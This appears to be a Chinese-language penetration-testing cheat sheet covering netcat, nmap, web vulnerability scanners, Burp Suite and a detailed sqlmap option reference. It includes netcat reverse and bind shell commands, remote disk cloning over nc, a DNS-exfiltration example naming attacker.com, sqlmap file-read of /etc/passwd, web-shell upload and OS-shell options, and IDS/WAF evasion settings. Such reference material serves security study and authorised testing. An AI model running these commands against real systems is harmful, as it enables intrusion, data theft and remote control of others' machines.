端口扫描类:
nc(重点)
常用参数:
-u: 指定为udp,默认监听的是tcp端口
-n: 告诉netcat 不要使用DNS反向查询IP地址的域名
-v: 详细输出
-l: 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
-p: 指定具体端口
1.查看端口是否开放以及banner信息
• nc –nv 1.1.1.1 80
2.NC——传输文本信息
• A:nc -l -p 4444 //Server端监听本机的4444端口
• B:nc –nv 1.1.1.1 4444 //Client端连接Server端的4444端口
3.NC——传输文件/目录
• 传输文件
• A:nc -lp 333 > 1.mp4
• B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1 //-q 1代表超过1秒没有回应就断开
• 或
• A:nc -q 1 -lp 333 < a.mp4
• B: nc -nv 1.1.1.1 333 > 2.mp4
• 传输目录
• A:tar -cvf - music/ | nc -lp 333 –q 1
• B:nc -nv 1.1.1.1 333 | tar -xvf –
• 加密传文件
• A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
• B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
4.NC——流媒体服务
• A: cat 1.mp4 | nc -lp 333
• B: 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
5.NC——端口扫描
• nc -nvz 1.1.1.1 1-65535
• nc –vnzu 1.1.1.1 1-1024 //u表示UDP端口
6.NC——远程克隆硬盘
• A: nc -lp 333 | dd of=/dev/sda
• B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
• 远程电子取证,可以将目标服务器硬盘远程复制,或者内存。
7.NC——远程控制
• 正向shell:
• A:nc -lp 333 -c bash
• B:nc 1.1.1.1 333
• 反向shell:
• A:nc -lp 333
• B:nc 1.1.1.1 333 -c bash
• 注:Windows用户把bash改成cmd;
正向shell打开的是服务端的shell终端,反向shell打开的是客户端的shell终端,因为防火墙的关系,通常反向shell用的比较多
8.NC——NCAT
• Nc缺乏加密和身份验证的能力
• Ncat包含于nmap工具包中
• A:ncat ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
• B:ncat -nv 1.1.1.1 333 --ssl
nmap(重点)
常用参数:
P开头代表是使用Ping方式
-PU // UDP Ping方式
-PA // TCP ACK Ping方式
s开头代表是使用扫描方式
-sU // UDP扫描
-sS // TCP SYN扫描
-sT //-sT (TCP connect()扫描)
-O //输出操作系统版本信息
主机发现:
nmap -sn 1.1.1.1-255 //批量扫描1-255
nmap -iL iplist.txt -s //根据txt文件地址进行扫描
• nmap 1.1.1.1-254 -PU53 -sn // -PU UDP Ping方式
• nmap 1.1.1.1-254 -PA80 –sn //-PA TCP ACK Ping方式
• nmap -iL iplist.txt -PA80 -sn
• nmap -sU 1.1.1.1 //-sU UDP扫描
• nmap 1.1.1.1 -sU -p 53
• nmap -iL iplist.txt -sU -p 1-200
隐蔽端口扫描
• nmap -sS 1.1.1.1 -p 80,21,25,110,443 //-sS TCP SYN扫描
• nmap -sS 1.1.1.1 -p 1-65535 --open
• nmap -sS 1.1.1.1 -p- --open
• nmap -sS -iL iplist.txt -p 80,21,22,23
全连接端口扫描
• nmap -sT 1.1.1.1 -p 80 //-sT -sT (TCP connect()扫描)
• nmap -sT 1.1.1.1 -p 80,21,25
• nmap -sT 1.1.1.1 -p 80-2000
• nmap -sT -iL iplist.txt -p 80
• 默认1000个常用端口
• nc -nv -w 1 -z 192.168.60.4 1-100 //-n (不用域名解析) -v (提高输出信息的详细度)
• for x in $(seq 20 30); do nc -nv -w 1 -z 1.1.1.1 $x; done | grep open
• for x in $(seq 1 254); do nc -nv -w 1 -z 1.1.1.$x 80; done
nmap 172.16.36.135 -sI 172.16.36.134 -Pn -p 0-100 //-sl 僵尸扫描(不常用)
服务扫描--banner
nmap -sT 1.1.1.1 -p 22 --script=banner
服务识别
• nc -nv 1.1.1.1 80
• nmap 1.1.1.1 -p 80 -sV
操作系统
nmap 1.1.1.1 -O
系统扫描类:
Nessus(重点)
OWASP ZAP (重点)
openvas
Web侦查类:
Httrack //下载克隆站点用的,减少与目标系统交互
Web漏洞扫描类:
Nikto (重点)
• Perl语言开发的开源Web安全扫描器
• 搜索存在安全隐患的文件
• 服务器配置漏洞
• WEB Application层面的安全隐患
• 避免404错误
• 很多服务器不遵守RFC标准,对于不存在的对象返回200状态码
• 依据响应文件类型判断,不同扩展名的文件404响应内容不同
• 去除时间信息后的内容取MD5值
• -no404
基本命令:
• nikto -update //更新nikto(网络允许的情况下做的第一步)
• cirt.net
• http://cirt.net/nikto/UPDATES
• nikto -list-plugins //列出nikto里面的所有插件
• nikto -host http://1.1.1.1
• nikto -host 192.168.1.1 -ssl -port 443,8443,995 //带ssl方式和端口方式的扫描
• nikto -host host.txt //通过一个列表文件批量进行扫描,列表文件格式支持:1、192.168.1.159 2、192.168.1.159:80 3、https://192.168.1.159:8443
• nmap -p80 192.168.1.0/24 -oG - | nikto -host - //结合nmap一起使用
• nikto -host 192.168.1.1 -useproxy http://localhost:8087 //使用代理的方式进行扫描,也可以在配置文件里进行修改
• -vhos
• -evation //使用Libwhisker中对IDS的躲避技术,可使用以下几种类型
1.随机URL编码(非UTF-8模式)
2.自选择路径(/./)
3.过早结束的URL
4.优先考虑长随机字符串
5.参数欺骗
6.使用TAB作为命令的分隔符
7.使用变化的URL
8.使用Windows路径分隔符"\"
Nikto-interactive //nikto扫描的交互模式
• Space – report current scan status
• v – verbose mode on/off //输出详细信息
• d – debug mode on/off //debug调试模式
• e – error reporting on/off
• p – progress reporting on/off
• r – redirect display on/off
• c – cookie display on/off
• a – auth display on/off
• q – quit
• N – next host
• P - Pause
Nikto配置文件
/etc/nikto.conf
USERAGENT= //设置UA
STATIC-COOKIE="cookie1"="cookie value";"cookie2"="cookie valu” //设置cookie,这样可以扫描需要登录后才能展示的页面
Vega(图形化工具,偏代码层,kali自带)
JAVA编写的WEB开源扫描器
扫描模式
代理模式
爬站、代理表单、注入测试
支持ssl:http://vege/ca.crt
Skipfish(命令行工具,偏代码层扫描)
C语言编写
实验性的主动web安全评估工具
递归爬网
基于字典的探测
速度较快
多路单线程,全异步网络I/O,消除内存管理和调度开销
启发式内容识别
误报较低
基本命令:
skipfish -o test http://1.1.1.1 //将扫描结果输出到test文件
skipfish -o test @url.txt //以txt文件形式获取需要扫描的IP列表
skipfish -o test -S complet.wl -W a.wl http://1.1.1.1 //#字典
-I: 只检查包含"String"的URL
-X: 不检查包含"String"的URL
-k: 不对指定参数进行fuzz测试
-D: 跨站爬另外一个域
-l: 每秒最大请求数
-m: 每IP最大连接数
--config: 指定配置文件
• 身份认证
• skipfish -A user:pass -o test http://1.1.1.1
• skipfish -C “name=val” -o test http://1.1.1.1 //通过扫描抓取获取字段名和值,放入name和val部分
• Username / Password
命令示例:
skipfish -o a --auth-form http://192.168.1.101/dvwa/login.php --auth-form-target http://192.168.1.101/dvwa/login.php
--auth-user-field username --auth-user admin --auth-pass-field password --auth-pass 123456 --auth-verify-url http://192.168.1.101/dvwa/index.php -I dvwa http://192.168.1.101/dvwa/
• 扫描结束太快
• 触发了目标站点的连接数限制,降低-m -l数值
W3af(重点,支持图形和命令行,框架型,非常强大,kali2.0里自带版本执行扫描时挂死,需要手动重装)
• Web Application Attack and Audit Framework,基于python 语言开发
• 此框架的目标是帮助你发现和利用所有WEB应用程序漏洞
• 9大类近150个plugin
• audit //审计相关
• infrastructure //基础架构相关
• grep //正则过滤相关
• evasion //规避规则相关
• mangle
• auth //认证相关
• bruteforce //暴力相关
• output
• crawl
attack
安装
• cd ~
• apt-get update
• apt-get install -y python-pip w3af
• apt-get install kali-linux-all //参考,非必要
• pip install --upgrade pip
• git clone https://github.com/andresriancho/w3af.git
• cd w3af
• ./w3af_console (./w3af_gui)
• apt-get build-dep python-lxml //这一步如果有问题是因为相关的python扩展包没有安装,请移步至第三章
• . /tmp/w3af_dependency_install.sh
W3af
• 升级
• git pull
• 创建快捷方式
• /usr/share/applications/w3af.desktop
• 用户接口
• Console
• Gui
• API
• W3af_console
• help #显示可用指令
• plugin #进入plugin子命令
• Help #显示可用命令
• list audit #列出audit类所有插件
• audit sqli xss #选择使用audit 下的sqli xss
• http-settings / misc-settings #全局配置
• help
• view #查看可配置的参数
• set #设置参数
• back #回到上一级
• Profiles 用于将设置的规则保存成一个文件,然后通过调用文件去执行
• save_as self-contained
• save_as test self-contained
• Target 设置目标
• set target http://1.1.1.1/
• Start
• Script
• script/*.w3af
W3af——身份认证
• HTTP Basic //基本验证,用户名和密码是Windows的用户名和密码
• NTLM //NTLM验证,用户名和密码同上
• Form //form表单验证,需要抓包获取字段名
• Cookie //双因素身份认证 / anti-CSRF tokens
注:W3af的Cookie身份认证是需要通过文件配置的,对文件配置的要求相当严格
1.中间的字段分隔符不能用空格只能用tab
2.第5段数字那一段代表的是Unix时间戳(从1970年1月1日)开始,后面需要加2个0(因为不加的话你取当前的时间戳,过不了多久就会过期)
格式如下图所示:
• HTTP header file(另类的身份认证方法)
W3af——截断代理
• W3af 不支持客户端技术(Javascript、Flash、Java applet等)
• 截断代理手动爬网
• spider_man
• output.export_requests
• http://127.7.7.7/spider_man?terminate //终止spider_man
• crawl.import_results
• base64
W3af——其他特性
• exploit
• Fuzzy Requests
• Numbers from 0 to 4: $range(5)$
• First ten letters: $string.lowercase[:10]$
• The words spam and eggs: $[’spam’, ’eggs’]$
• The content of a file: $[l.strip() for l in file(’input.txt’)]$
• Cluster responses
Arachni(Dispatcher和Grid是其和其他扫描器最大的区别)
• Kali自带了旧的arachni阉割版
• 安装
• http://www.arachni-scanner.com/download/#Linux
• tar xvf arachni.tar.gz
• http://localhost:9292/
• admin@admin.admin / administrator
• Profile
• Import
• Export
• New
• Dispatcher
• ./arachni_rpcd --address=127.0.0.1 --port=1111 --nickname=test1 //新建扫描的时候选择advanced---->remote可以设定dispatcher(最好是用远程的),可以实现扫描时候的高可用,多条线路,如果某一条被服务器方的管理员给禁掉了,另外其他的会自动切换,nickname指我为这个dispatcher取个昵称
• Grid
• ./arachni_rpcd --nickname=test2 --address=127.0.0.1 --neighbour=127.0.0.1:1111 //将dispatcher分组,对目标机器进行扫描,分组的目的是可以做到负载均衡,内部会根据dispatcher具体情况自动分配任务给不同的dispatcher
• Scan
Owasp-zap(Web扫描必备工具)
• Zed attack proxy
• WEB Application集成渗透测试和漏洞挖掘工具
• 开源免费跨平台,简单易用
• 截断代理
• 主动、被动扫描
• Fuzzy、暴力破解
• API
• http://zap/
• Persist Session // 持久会话
• Mode——Safe、 Protected、Standard、ATTACK // 安全模式
• 升级add-ons // 升级插件
• Scan policy // 扫描策略
• Anti CSRF Tokens
• https——CA //HTTPS证书
• Scope / Contexts / filter
• Http Sessions——default session tokens & site session tokens
• Note / tag
• Passive scan
• 标准扫描工作流程
• 设置代理
• 手动爬网
• 自动爬网
• 主动扫描
Burpsuite(重点,WEB扫描首选,必备工具)
• Web安全工具中的瑞士军刀
• 统一的集成工具发现全部现代WEB安全漏洞
• PortSwigger 公司开发
• Burp Free
• Burp Professional
• http://www.portswigger.net
• 所有的工具共享一个能处理并显示HTTP消息的可扩展框架,模块之间无缝交换信息。
• 字体
• Proxy
• Options
• Invisible (主机头 /多目标域名)
• CA (导入/导出) //证书相关
• Intercept (入站/出站) // 截断,默认开启
• Response modify // 响应修改
• Target
• Scope(logout)
• Filter
• Comparing site map
• Active / Passive Scan
• Extender //扩展模块很多都需要jython的支持,可以去下面的网址进行下载,在不了解其功能的情况下尽量少装,影响性能
• BApp Store
• Jython
• https://www.jython.org/download
• Option
• Scan queue
• Result
Burpsuite——intruder //重点,可以对于提交的页面进行指定的修改,如通过字典文件破解用户名和密码,最好是用Cluster bomb这种集群模式,需要提供2个字典,user.txt和password.txt然后会逐一进行匹配
• POSITION
• Sniper
Battering ram
• Pitchfork
Cluster bomb
Burpsuite——intruder
• PAYLOAD //下面是载荷的类型
• Simple list
• Runtime file
• Character substitution
• Case modification
• Character blocks
• Numbers、Copy other payload
• Dates、Brute forcer、Character frobber、Username generator
• OPTIONS
• Grep match
Burpsuite——repeater //重点,经常将请求的页面send至repeater,就可以对其内容进行任意修改然后重新提交给服务器,比如手动测试账号名和密码
• Repeater
• Request History
• Change request method
• Change body encoding
• Copy as curl command
• Convert selection
• Repeater 菜单
• Engagement tools——generate csrf PoC
• Follow redirections
• Process cookies in redirections
Burpsuite——Sequencer //比较少用,大概原理是如果你的sessionID经常变化,可以通过其内置的算法,来进行预测分析下一次可能生成的session ID值
• 分析程序中可预测的数据
• Session cookies
• anti-CSRF tokens
• Start live capture
• Analyze(数据越多分析越准确)
• 伪随机数算法
• Character-level
• Bit-level
• FIPS—美国联邦信息处理标准(Federal Information Processing Standard)
Burpsuite——编码*
• Decoder
• 使用各种编码绕过服务器端输入过滤
• smart decode
ACUNETIX WEB VULNERABILITY SCANNER(同burpsuite,主要也是web爬网和代理截断的作用,Windows平台下的首选,必备)
• 自动手动爬网,支持AJAX,JAVASCRIPT
• AcuSensor灰盒测试
• 发现爬网无法发现文件
• 额外的漏洞扫描
• 可发现存在漏洞的源码编号
• 支持 PHP 、 .NET(不获取源码的情况下注入已编编译.NET)
• 生成PCI、27001标准合规报告
• 网络扫描 //非擅长,扫描系统层的服务漏洞首选nessus
• FTP, DNS, SMTP, IMAP, POP3, SSH, SNMP,Telnet
• 集成openvas扫描漏洞
• 爬站
• 子域扫描器
• 发现扫描器
• SQL注入验证
• Http editor
• Http sniffer
• HTTP Fuzzer // 重点
• 身份认证测试
• 结果比较
• AcuSensor 安装
• 生成 agent文件 acu_phpaspect.php(PHP5.0以上)
• 将文件拷贝到目标服务器,web程序可以访问到的目录
• 修改 php.ini // 搜索找到 auto_prepend_file这段,然后将生成的acu_phpaspect.php路径指定上去
• php_value auto_prepend_file ’[path to acu_phpaspect.php file]’
APPSCAN
• Watchfire APPScan,2007年被IBM收购,成为IBM APPScan
• 扫描过程
• 探索阶段
• 测试阶段
• 第一个过程发现新的URL地址,下一个扫描过程自动开始
• 软件安装
• 向导方式
• 完全配置
• Glass box
• 相当于 Acusensor
• Agent收集服务器端源代码信息和其他数据
• 主持JAVA 、.NET两种平台
SQL注入类:
SQLMAP(必备)
命令参数
Target类:
-d // sqlmap作为客户端直接连接数据库服务器的IP和端口(不是利用SQL漏洞连接)
-u // 指定要扫描的 URL 如:"http://www.site.com/vuln.php?id=1" (后面必须带参数,仅仅支持Get方法)
-l // 从Burp 代理的日志文件里面导入进来让sqlmap扫描
-x // 通过远程的xml站点地图
-m // 通过指定文件扫描多个目标站点是否存在SQL注入漏洞
-r // 从一个文件加载http请求
-g // 利用GoogleHack来进行扫描
-c // 从一个配置文件加载选项
• Get方法
• sqlmap -u "http://192.168.20.10/mutillidae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username -f // -p 扫描username这个参数是否有注入漏洞
• 扫描URL列表文件
• http://1.1.1.1/vuln1.php?q=foobar
http://1.1.1.1/vuln3/id/1*
• sqlmap -m list.txt
• 扫描google搜索结果
• sqlmap.py -g "inurl:\".php?id=1\""
• POST方法
• 使用http请求文件(burpsuite)
• sqlmap -r request.txt
• 使用burpsuite log文件
• sqlmap -l log.txt
• HTTPS
• sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl // 端口如果不是443,就指定端口8843
• 扫描配置文件
• sqlmap -c sqlmap.conf
REQUEST类:
--method // 指定请求的方法,如GET,PUT
--data // GET、PUT方法都适用,填写你要传给服务器的参数,如:sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f
--param-del // 指定变量分隔符,默认是 & 如:sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
--cookie // 设定cookie的值 如:sqlmap -u "http://1.1.1.1/a.php?id=1" --cookie="security=low; PHPSESSID=a8d127e.." -f
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--user-agent // 指定user-agent,默认是 sqlmap/1.0-dev-nongit-XXXXXXXXXX level>=3
--random-agent // 使用随机agent,从/usr/share/sqlmap/txt/user-agents.txt选取
--host // 指定host头的值,需要指定Level =5级别
--referer // http referer地址 level >= 3
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--headers // 添加额外的http头部信息 如:Host、User-Agent 如:sqlmap -u “http://1.1.1.1/a.php?id=1” --headers="Host:www.a.com\nAccept-Language: fr\n" 注意大小写
--auth-type // 基于http协议协议的身份认证 HTTP 认证类型 (Basic, Digest(摘要身份认证), NTLM(基于Windows的) or PKI) 如:sqlmap. -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred "user:pass“
--auth-cred // HTTP 认证证明 (name:password)
--auth-file // 基于客户端证书
--ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)
--ignore-proxy // 忽略系统级代理设置,通常用于扫描本地网络目标
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy // 使用代理 如:• sqlmap -u "http://1.1.1.1/a.php?id=1" --proxy="http://127.0.0.1:8087" -f
--proxy-cred // 代理认证证明(name:password)
--proxy-file // 通过文件设置代理
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay // 设置延迟时间,有利于逃避对方的检测机制(单位为秒)
--timeout // 请求超时时间,浮点数,默认为30秒
--retries // 连接超时重试次数,默认3次
--randomize // 长度、类型与原始值保持一致的前提下,指定每次请求随机值取值的参数名
--safe-url // 结合--safe-freq参数一起使用,检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session;每发送--safe-freq次注入请求后,发送一次正常请求
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Test requests between two visits to a given safe URL
--skip-urlencode // 跳过URL编码,默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--force-ssl // 强制使用SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method
--eval // 每次请求前执行指定的python代码,每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
示例: sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
• --scope
• 过滤日志内容,通过正则表达式筛选对象
• sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org)“
• sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs
• User-agent中的注入点
Optimization类:
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
• 优化性能
• --predict-output
• 根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
• 版本名、用户名、密码、Privileges、role、数据库名称、表名、列名
• 与--threads参数不兼容
• 统计表:/usr/share/sqlmap/txt/common-outputs.txt
• --keep-alive
• 使用http(s)长连接,性能好
• 与 --proxy参数不兼容
• 长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
• --null-connection
• 只获取相应页面的大小值,而非页面具体内容
• 通常用于盲注判断 真 / 假,降低网络带宽消耗
• 与--text-only参数不兼容(基于页面内容的比较判断 真/假)
• --threads
• 最大并发线程
• 盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
• 默认值为1,建议不要超过10,否则可能影响站点可用性
• 与 --predict-output 参数不兼容
• -o 开启前三个性能参数 (除--threads参数)
INJECTION类:
-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
• -p
• 指定扫描的参数,使--level失效
• -p "user-agent, referer"
• --skip
• 排除指定的扫描参数
• --level=5 --skip=“id,user-agent“
• URI注入点
• sqlmap -u “http://targeturl/param1/value1*/param2/value2*/"
• --dbms=“mysql”
• MySQL <5.0>
• Oracle <11i>
• Microsoft SQL Server <2005>
• PostgreSQL
• Microsoft Access
• SQLite
• Firebird
• Sybase
• SAP MaxDB
• DB2
• --os
• Linux
• Windows
• --invalid-bignum / --invalid-logical
• 通常sqlmap使用负值使参数取值失效 id=13 ---> id=-13
• bignum 使用大数使参数值失效 id= 99999999
• Logical 使用布尔判断使取值失效 id=13 AND 18=19
• --no-cast
• 榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
• 老版本mysql数据库需要开启此开关
• --no-escape
• 处于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
• SELECT 'foo' --> SELECT CHAR(102)+CHAR(111)+CHAR(111)
• 本参数将关闭此功能
• --prefix / --suffix
• $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
• sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc“
• query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
• --tamper
• 混淆脚本,用于绕过应用层过滤、IPS、WAF
• sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="tamper/ between.py,tamper/randomcase.py,tamper/space2comment.py" -v 3
DETECTION类:
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
• --level
• 1-5级,(默认1)
• /usr/share/sqlmap/xml/payloads
• --risk
• 1-4 (默认1 / 无害)
• Risk升高可造成数据被篡改等风险(update)
• --string, --not-string, --regexp, --code, --text-only, --titles
• 页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串。
Technique类:
These options can be used to tweak testing of specific SQL injection techniques
--technique=TECH SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
• 默认使用全部技术
• B: Boolean-based blind
• E: Error-based
• U: Union query-based
• S: Stacked queries(文件系统、操作系统、注册表必须)
• T: Time-based blind
• --time-sec
• 基于时间的注入检测相应延迟时间(默认5秒)
• --union-cols
• 默认联合查询 1-10列,随--level增加最多支持50列
• --union-cols 6-9
• --union-char
• 联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值
• --union-char 123
• --dns-domain
• 攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
• --dns-domain attacker.com
• --second-url
• 在一个页面注入的结果,从另一个页面体现出来
• --second-url http://1.1.1.1/b.php
Fingerprinter类:
-f, --fingerprint Perform an extensive DBMS version fingerprint
• -f , --fingerprint, -b , --banner
• 数据库管理系统指纹信息
• DBMS, 操作系统,架构,补丁
Enumeration类:
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements
-a, --all // 返回所有信息
-b, --banner // 返回数据库banner信息
--current-user // 返回当前数据库用户
--current-db // 返回当前数据库
--hostname // 返回当前主机名
--is-dba
--users // 返回数据库中存在的用户
--passwords // 枚举数据库用户密码哈希值
--privileges // 枚举数据库用户权限
--roles // 枚举数据库用户角色
--dbs // 枚举所有数据库
--tables // 枚举数据表
--columns // 枚举列
--schema // 枚举数据库的schema信息
--count // 统计数据表有多少条数据
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
-D DB // 指定数据库
-T TBL // 指定表
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs // 枚举表的时候排除系统数据库
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
BRUTE FORCE类:
• Mysql < 5.0 , 没有information_schema 库
• Mysql >= 5.0 但无权读取information_schema 库
• 微软的access数据库,默认无权读取MSysObjects 库
• --common-tables
• --common-columns (Access系统表无列信息)
UDF INJECTION类:(用户定义函数注入类),高级用法,对SQL层面要求较高
• --udf-inject , --shared-lib
• 编译共享库创建并上传至 DB Server,以此生成UDF实现高级注入
• Linux : shared object
• Windows :DLL
• http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857 查询相应信息
FILE SYSTEM类:
• --file-read="/etc/passwd" // 读取/etc/passwd文件
• --file-write="shell.php" --file-dest "/tmp/shell.php" // 写入文件
OS类:
• Mysql 、postgresql
• 上传共享库并生成sys_exec()、sys_eval()两个UDF
• Mssql
• xp_cmdshell 存储过程(有就用,禁了启,没有建)
• --sql-shell
• --os-shell
• --os-cmd
WINDOWS REGISTORY类:
These options can be used to access the back-end database management system Windows registry
--reg-read // 读取注册表的键值
--reg-add // 向注册表添加键值
--reg-del // 删除注册表的键值
--reg-key
--reg-value
--reg-data
--reg-type
• sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
GENERAL类:
These options can be used to set some general working parameters
-s // sqlite会话文件保存位置
-t // 记录流量文件保存位置
--batch // 非交互模式,需要人工选择的时候按默认选项
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--crawl // 从起始位置爬站深度,--batch --crawl=3
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL dump数据默认存放于” ,”分割的CSV文件中,指定其他分隔符。如: --csv-del=";"
--charset // 强制字符编码, --charset=GBK
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session // 清空session
--forms Parse and test forms on target URL
--fresh-queries // 忽略session查询结果
--har=HARFILE Log all HTTP traffic into a HAR file
--hex // dump非ASCII字符内容时,将其编码为16进制形式,收到后还原。如:sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3
--output-dir // 指定output输出目录
--parse-errors // 分析和现实数据库内建报错信息 sqlmap.py -u "http://1.1.1.1/sqlmap/a.asp?id=1" --parse-errors
--preprocess=PRE.. Use given script(s) for preprocessing of response data
--repair Redump entries having unknown character marker (?)
--save // 将这些命令保存成配置文件
--scope=SCOPE Regexp to filter targets from provided proxy log
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--update // 更新sqlmap
MISCELLANEOUS(混杂的)类:
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
--beep Beep on question and/or when SQL injection is found
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--identify-waf Make a thorough testing for a WAF/IPS protection
--list-tampers Display list of available tamper scripts
--mobile Imitate smartphone through HTTP User-Agent header
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--skip-waf Skip heuristic detection of WAF/IPS protection
--smart Conduct thorough tests only if positive heuristic(s)
--sqlmap-shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")
--wizard Simple wizard interface for beginner users
• -z:参数助记符
• sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u “1.1.1.1/a.php?id=1"
• sqlmap -z "bat,randoma,ign,tec=BEU" -u “1.1.1.1/a.php?id=1"
• sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u “1.1.1.1/a.php?id=1"
• sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u “1.1.1.1/vuln.php?id=1“
• --answer
